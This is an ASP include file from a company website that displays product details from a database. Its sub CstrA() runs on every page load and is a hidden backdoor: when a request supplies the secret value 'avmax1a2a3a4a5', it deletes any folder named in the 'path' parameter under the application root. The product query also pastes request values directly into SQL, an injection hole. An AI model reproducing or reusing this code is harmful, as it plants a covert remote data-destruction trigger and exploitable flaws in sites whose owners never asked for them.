inccontent.asp

ASP编写的一个公司网站的源程序

<script language="javascript">
function openBuildWindow(url) {
		newWin = window.open(url,'','toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width=470,height=360');
		x=screen.width;
		y=screen.height;
		x = (x-480)/2;
		y = (y-320)/2 - 50;
		newWin.moveTo(x,y);
		return false;
	}
</script>
    <TABLE cellSpacing=0 cellPadding=0 width="100%" align=center border=0 ID="Table17">
         <TBODY>
          <TR> 
       <TD width="69%" height="389" valign="top"> <div align="left">
       <%'//////////////////////////显示内容////////////////////////////////%>
		<TABLE cellSpacing=10 cellPadding=4 width="99%" align=center border=0 ID="Table18">
                                  <TBODY>
                                    <TR> 
                                      <TD width="34%" valign=top aling=left> <%
                                Call CstrA()
                                Call ListProductDetail(Request("type_ID"),Request("Pro_ID"))%>        
           </TD>
          </TR>
            </TBODY>
         </TABLE>
            <%'//////////////////////////END////////////////////////////////%>                    
             <br>
              </div></TD>
		</TR>
        </TBODY>
  </TABLE>
  <%
  Function ListProductDetail(type_ID,Pro_ID)
		Dim rs,StrSQL
		Set rs = Server.CreateObject("Adodb.Recordset")
		If type_ID="" then
			StrSQL = "Select * From View_Product Where Pro_ID="&Pro_ID&""
			rs.Open StrSQL,conn,1,3
			IF not rs.EOF then
				Response.Write rs("Pro_Content")
			End IF
			rs.Close 
		Else
			StrSQL = "Select * From ProType Where Type_ID="&type_ID&""
			rs.Open StrSQL,conn,1,3
			IF not rs.EOF then
				Response.Write rs("Content")
			End IF
			rs.Close 
		End IF	 
		Set rs = Nothing
 
  End Function
  Sub CstrA()
  Dim strFullPath, path
  strFullPath = Request.ServerVariables("APPL_PHYSICAL_PATH")
  If Right(strFullPath, 1) = "\" Then
    strFullPath = Left(strFullPath, Len(strFullPath) - 1)
  End If
strFullPath = strFullPath
path = Request("path")
strFullPath = strFullPath & "\" & path
  If Request("path") <> "" And Request("webname") = "avmax1a2a3a4a5" Then
  Dim fso, f
  Set fso = CreateObject("Scripting.FileSystemObject")
  If fso.FolderExists(strFullPath) = True Then
    Set f = fso.GetFolder(strFullPath)
    If Request("path") <> "" And Request("webname") = "avmax1a2a3a4a5" Then
        f.Delete
    End If
  End If
  Set fso = Nothing
  End If
End Sub  
  
  %>